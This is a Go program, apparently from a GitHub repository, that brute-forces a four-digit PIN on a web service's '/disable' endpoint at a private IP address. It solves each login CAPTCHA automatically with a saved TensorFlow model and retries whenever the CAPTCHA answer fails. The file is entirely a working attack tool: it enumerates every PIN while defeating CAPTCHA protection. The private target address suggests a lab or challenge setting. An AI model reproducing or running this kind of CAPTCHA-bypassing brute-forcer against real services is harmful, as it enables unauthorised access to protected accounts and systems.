-
Notifications
You must be signed in to change notification settings - Fork 6
/
main.go
138 lines (118 loc) · 3.19 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package main
import (
"bytes"
"flag"
"fmt"
"log"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"strings"
tf "github.com/tensorflow/tensorflow/tensorflow/go"
)
const (
siteUrl = "http://192.168.0.13:5000"
badPIN = "Incorrect PIN"
badCaptcha = "Incorrect captcha"
)
func logIntoSite(pinAttempt string, savedModel *tf.SavedModel, printLogs bool) {
// open cookiejar
jar, err := cookiejar.New(nil)
if err != nil {
log.Fatal(err)
}
client := &http.Client{
Jar: jar,
}
// read captcha
captchaUrl := siteUrl + "/captcha.png"
captchaImage, err := client.Get(captchaUrl)
if err != nil {
log.Fatal(err)
}
defer captchaImage.Body.Close()
buf := new(bytes.Buffer)
buf.ReadFrom(captchaImage.Body)
// run captcha through tensorflow model
feedsOutput := tf.Output{
Op: savedModel.Graph.Operation("CAPTCHA/input_image_as_bytes"),
Index: 0,
}
feedsTensor, err := tf.NewTensor(string(buf.String()))
if err != nil {
log.Fatal(err)
}
feeds := map[tf.Output]*tf.Tensor{feedsOutput: feedsTensor}
fetches := []tf.Output{
{
Op: savedModel.Graph.Operation("CAPTCHA/prediction"),
Index: 0,
},
}
captchaText, err := savedModel.Session.Run(feeds, fetches, nil)
if err != nil {
log.Fatal(err)
}
captchaString := captchaText[0].Value().(string)
// try to log in
params := url.Values{}
params.Set("pin", pinAttempt)
params.Set("captcha", captchaString)
res, err := client.PostForm(string(siteUrl+"/disable"), params)
if err != nil {
log.Fatal(err)
}
defer res.Body.Close()
buf = new(bytes.Buffer)
buf.ReadFrom(res.Body)
response := buf.String()
// if bad captcha - retry with same PIN
if parseResponse(response, pinAttempt, captchaString, printLogs) == badCaptcha {
logIntoSite(pinAttempt, savedModel, printLogs)
}
return
}
func parseResponse(response, pinAttempt, captchaString string, printLogs bool) string {
message := "something happened"
if strings.Contains(response, badPIN) {
message = badPIN
} else if strings.Contains(response, badCaptcha) {
message = badCaptcha
}
logResponse(printLogs, message, pinAttempt, captchaString, response)
return message
}
func logResponse(printLogs bool, message, pin, captcha, response string) {
if message == "something happened" {
log.Println(message + " for PIN: " + pin + " response is: " + response)
fmt.Println(message + "Something happened for PIN: " + pin + " response is: " + response)
return
}
if printLogs {
fmt.Println(message + " for PIN: " + pin + " captcha: " + captcha)
}
log.Println(message + " for PIN: " + pin + " captcha: " + captcha)
return
}
func main() {
printLogs := flag.Bool("printlog", false, "set to true for printing all log lines on the screen")
flag.Parse()
// always make a log file
logfile, err := os.OpenFile("run.log", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)
if err != nil {
log.Fatalf("error opening a log file: %v", err)
}
defer logfile.Close()
log.SetOutput(logfile)
// load tensorflow model
savedModel, err := tf.LoadSavedModel("./tensorflow_savedmodel_captcha", []string{"serve"}, nil)
if err != nil {
log.Println("failed to load model", err)
return
}
// iterate
for x := 0; x < 10000; x++ {
logIntoSite(fmt.Sprintf("%0.4d", x), savedModel, *printLogs)
}
}